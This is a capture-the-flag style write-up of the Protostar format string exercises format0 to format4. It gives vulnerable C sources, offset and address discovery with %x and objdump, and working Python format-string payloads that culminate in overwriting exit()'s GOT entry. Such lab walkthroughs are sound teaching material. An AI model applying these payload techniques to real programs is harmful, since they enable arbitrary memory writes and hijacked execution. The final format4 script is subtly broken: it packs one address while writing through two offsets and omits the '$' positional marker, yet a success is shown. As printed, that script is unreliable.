Protostar Write Up Part 2 - format0-4: Overwriting the GOT

This post is a write up on the Protostar format string exercises, you can find them here. If you haven’t read part 1 yet, here’s the link.

Spoilers Ahead!


Format 0

This exercise can be done with a simple buffer overflow. The source given:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

The buffer can overflow to change target.

-----------------------
| buffer[64] | target |
-----------------------

Using this we can craft an input with 64 bytes of padding and 0xdeadbeef.

import struct

payload = "A" * 64
payload += struct.pack("I", 0xdeadbeef)

print(payload)
$ /opt/protostar/bin/format0 `python format0.py`
you have hit the target correctly :)

Format 1

format1.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Target is no longer in the same stack frame, however there is a printf call. argv[1] is passed to printf as the format string, this is dangerous as %n in the format string writes the number of bytes printed to the pointer specified in the call. So if there’s a way to insert a pointer to target in the stack frame, arbituary memory writes are possible.

The idea is that string is in the stack frame, so placing target’s address in the string and use %n at it’s offset will change it’s value.

To find the offset I used %x and adjusted the length until I found 0x41414141, in this case the offset is 132.

$ /opt/protostar/bin/format1 "`python -c "print 'AAAA' + ' %x' * 132"`"

To find the address of target, objdump -t is used:

$ objdump -t /opt/protostar/bin/format1 | grep target
08049638 g     O .bss	00000004              target

Having the offset 132 and address 0x08049638 the exploit can be written.

format1.py

import struct

payload = struct.pack("I", 0x08049638)
payload += " %132$08n"
print(payload)
$ /opt/protostar/bin/format1 "`python format1.py`"
8 you have modified the target :)

Format 2

format2.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Using a similar technique the offset is determined to be 4.

$ python -c "print 'AAAA' + '%4\$08x\n'" | /opt/protostar/bin/format2
AAAA41414141
target is 0 :(

target’s address is 0x080496e4:

$ objdump -t /opt/protostar/bin/format2 | grep target
080496e4 g     O .bss	00000004              target

To write 64 into target, 64 characters must be printed before %n is invoked. To do it with a small input size, I used %.64d where 64 is the length we need to print.

import struct

target_addr = struct.pack("I", 0x080496e4)
offset = 4
target_value = 64
payload = ""
payload += target_addr
payload += "%.{0}d".format(target_value - len(payload))
payload += "%{0}$n".format(offset)
print(payload)
$ python format2.py | /opt/protostar/bin/format2
000000000000000000000000000000000000000000000000000000000512
you have modified the target :)

Format 3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

With the same method before, address of target is 0x080496f4 and offset is 12. However, the number is now much larger, 16930116 bytes must be written. To avoid printing about 16 megabytes of data, target must be overwritten twice. The first 0x0102 will be written to the upper part (0x080496f4 + 2) and 0x5544 to the lower part (0x080496f4). However we will have to use the h modifier to write a short integer.

import struct

target_addr1 = struct.pack("I", 0x080496f4 + 2)
target_addr2 = struct.pack("I", 0x080496f4)
offset = 12
target_value1 = 0x0102
target_value2 = 0x5544

payload = ""
payload += target_addr1
payload += target_addr2

padd = len(payload)

payload += "%.{0}d".format(target_value1 - padd)
payload += "%{0}$hn".format(offset)
payload += "%.{0}d".format(target_value2 - target_value1 - 1)
payload += "%{0}$hn".format(offset + 1)
print(payload)

Format 4

format4.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

There’s a format string vulnerability and we have to redirect code execution. We can try overwriting the return address but the code doesn’t return, it exits. At runtime exit() is loaded from libc, the call references an address in the Global Offset Table (GOT), so we can try to overwrite the address in GOT with hello()’s address.

The address that we’ll have to overwrite can be found with objdump -TR.

$ objdump -TR /opt/protostar/bin/format4 | grep exit
00000000      DF *UND*	00000000  GLIBC_2.0   _exit
00000000      DF *UND*	00000000  GLIBC_2.0   exit
08049718 R_386_JUMP_SLOT   _exit
08049724 R_386_JUMP_SLOT   exit

The address is 0x08049724, next we need hello()’s address.

$ objdump -t /opt/protostar/bin/format4 | grep hello
080484b4 g     F .text	0000001e              hello

hello()’s address is 0x080484b4. Then with the same method in previous exercises, offset is found to be 4

Exploiting format4 is similar to format3, it is just a double write.

import struct

target_addr1 = struct.pack("I", 0x08049724)
offset = 4

target_value1 = 0x0804
target_value2 = 0x84b4

payload = ""
payload += target_addr1

padd = len(payload)

payload += "%{0}x".format(target_value1 - padd)
payload += "%{0}hn".format(offset + 1)
payload += "%{0}x".format(target_value2 - target_value1)
payload += "%{0}hn".format(offset)
print(payload)
$ python format4.py | /opt/protostar/bin/format4
code execution redirected! you win